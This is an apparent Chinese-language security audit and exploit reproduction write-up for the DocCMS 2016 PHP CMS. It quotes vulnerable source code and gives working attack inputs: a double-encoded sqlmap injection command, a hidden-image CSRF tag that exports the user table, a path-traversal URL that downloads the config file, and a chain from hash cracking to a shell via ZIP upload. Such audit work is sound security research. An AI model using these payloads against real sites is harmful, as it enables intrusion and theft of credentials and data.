doccms2016代码审计及漏洞复现
doccms2016代码审计及漏洞复现
1.sql注入
在/content/search/index.php中,首先对参数keyword进行非法字符检测
<?php
//首页搜索,站内关键字搜索
function index()
{
global $db;
global $request;
global $params;
global $tag; // 标签数组
!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
$keyword = urldecode($request['keyword']);
function checkSqlStr($string)
{
$string = strtolower($string);
return preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|_user/i', $string);
}
发现没有在过滤函数中进行解码,所以我们可以直接两次url编码进行绕过,
sqlmap.py -u "http://192.168.164.138:89/search/?keyword=123" --tamper=chardoubleencode
2.后台getshell
在后台模板上传处,检查文件是否为压缩包格式(检查是否解压成功),之后直接对压缩包进行解压,可以上传文件
admini\controllers\system\managemodel.php
function upload_model()
{
//把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
//suny.2008.01.16
$upload = new Upload(10000,'/temp/');
$fileName = $upload->SaveFile('upfile');
if(is_file(ABSPATH.'/temp/'.$fileName))
{
del_dir(ABSPATH.UPLOADPATH.'temp/');
mkdirs(ABSPATH.UPLOADPATH.'temp/');
if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
{
$doc = get_config_xmldoc('config');
exec_config($doc);
$doc = get_config_xmldoc('install');
exec_install($doc);
redirect('?m=system&s=managemodel');
}
}
}
function SaveFile($fileField,$isArry=false,$i=0)
{
if($isArry)
{
//检查上传文件
if($_FILES[$fileField]['error'][$i] > 0)
{
switch((int)$_FILES[$fileField]['error'][$i]){
case UPLOAD_ERR_NO_FILE:
$this->errorMsg .="请选择有效的上传文件!";
break;
case UPLOAD_ERR_FORM_SIZE:
$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
break;
}
return NULL;
}
preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'][$i],$exts);
//检查上传文件的扩展名
if($this->checkValidExt($exts[1]))
{
$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
return NULL;
}
$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
$sFileName = $this->getDateDir().$this->saveFileName;
if(!move_uploaded_file($_FILES[$fileField]['tmp_name'][$i],$this->uploadDir.$sFileName))
{
$this->errorMsg.='文件上传系统操作错误。';
return NULL;
}
else
{
return $sFileName;
}
}
else
{
//检查上传文件
if($_FILES[$fileField]['error'] > 0)
{
switch((int)$_FILES[$fileField]['error']){
case UPLOAD_ERR_NO_FILE:
$this->errorMsg .="请选择有效的上传文件!";
break;
case UPLOAD_ERR_FORM_SIZE:
$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
break;
}
return NULL;
}
preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'],$exts);
//检查上传文件的扩展名
if($this->checkValidExt($exts[1]))
{
$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
return NULL;
}
$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
$sFileName = $this->getDateDir().$this->saveFileName;
if(!move_uploaded_file($_FILES[$fileField]['tmp_name'],$this->uploadDir.$sFileName))
{
$this->errorMsg.='文件上传系统操作错误。';
return NULL;
}
else
{
return $sFileName;
}
}
}
直接解压文件,没有进行任何检测
3.留言处存储xss
content\guestbook\index.php
function create()
{
echo 123;
global $db,$request;
if ($_SESSION['verifycode'] != $request['checkcode'])
{
echo '<script>alert("请正确填写验证码!");location.href="javascript:history.go(-1)";</script>';
exit;
}
foreach ($request as $k=>$v)
{
$request[$k]=RemoveXSS($v);
}
require(ABSPATH.'/admini/models/guestbook.php');
$guestbook = new guestbook();
$guestbook->addnew($request);
$guestbook->custom=@implode('<|@|>',$request['custom']);
$guestbook->dtTime=date('Y-m-d H:i:s');
$guestbook->channelId=$request['p'];
$guestbook->ip=$_SERVER['REMOTE_ADDR'];
$guestbook->uid=$_SESSION[TB_PREFIX.'user_ID'];
if($guestbook->save())
{
if(guestbookISON)
{
sys_mail(' 留言提醒','最新留言提醒:您的网站:<a href="http://'.WEBURL.'">'.WEBURL.'</a> 有最新留言,请及时前往审核回复!');
}
echo '<script>alert("恭喜,您的留言已提交成功,工作人员会及时回复!");window.location.href="'.sys_href($request['p']).'";</script>';
exit;
}
else
{
echo '<script>alert("对不起,系统错误,您的留言未能及时提交,请电话与我们联系。");window.location.href="'.sys_href($request['p']).'";</script>';
exit;
}
}
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some // inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
找到了大佬的脚本,可以用来备份数据库的user表
<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>
4.后台任意文件下载
\doccms\admini\controllers\system\back.php
function download()
{
global $request;
if(!empty($request['filename']))
{
file_down(ABSPATH.'/temp/data/'.$request['filename']);
}
else
{
echo '<script>alert("文件名不能为空!");window.history.go(-1);</script>';
}
}
function file_down($file,$filename='')
{
if(is_file($file))
{
$filename = $filename ? $filename : basename($file);
$filetype = fileext($filename);
$filesize = filesize($file);
header('Cache-control: max-age=31536000');
header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
header('Content-Encoding: none');
//header('Content-Length: '.$filesize);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Type: '.$filetype);
readfile($file);
}
else
{
echo '<script>alert("文件不存在!");window.history.go(-1);</script>';
}
exit;
}
没有对文件名进行过滤,直接修改目录即可进行文件下载
http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
5.总结
sql注入可以直接获取管理员名和密码的hash,但是密码的hash是已经是经过自定义函数加密的,我们就只能对密码进行爆破来获得管理员密码,结合后台模板处文件上传即可getshell
加密函数
<?php
class docEncryption
{
var $enstr = null;
function docEncryption($str)
{
$this->enstr = $str;
}
function get_shal()
{
return sha1($this->enstr);
}
function get_md5()
{
return md5($this->enstr);
}
function get_jxqy3()
{
$tmpMS = $this->get_shal().$this->get_md5();
$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
$tmpNewStr = substr($tmpNewStr,0,70);
$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
return $tmpNewStr;
}
function to_string()
{
$tmpstr = $this->get_jxqy3();
$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
return $tmpstr;
}
}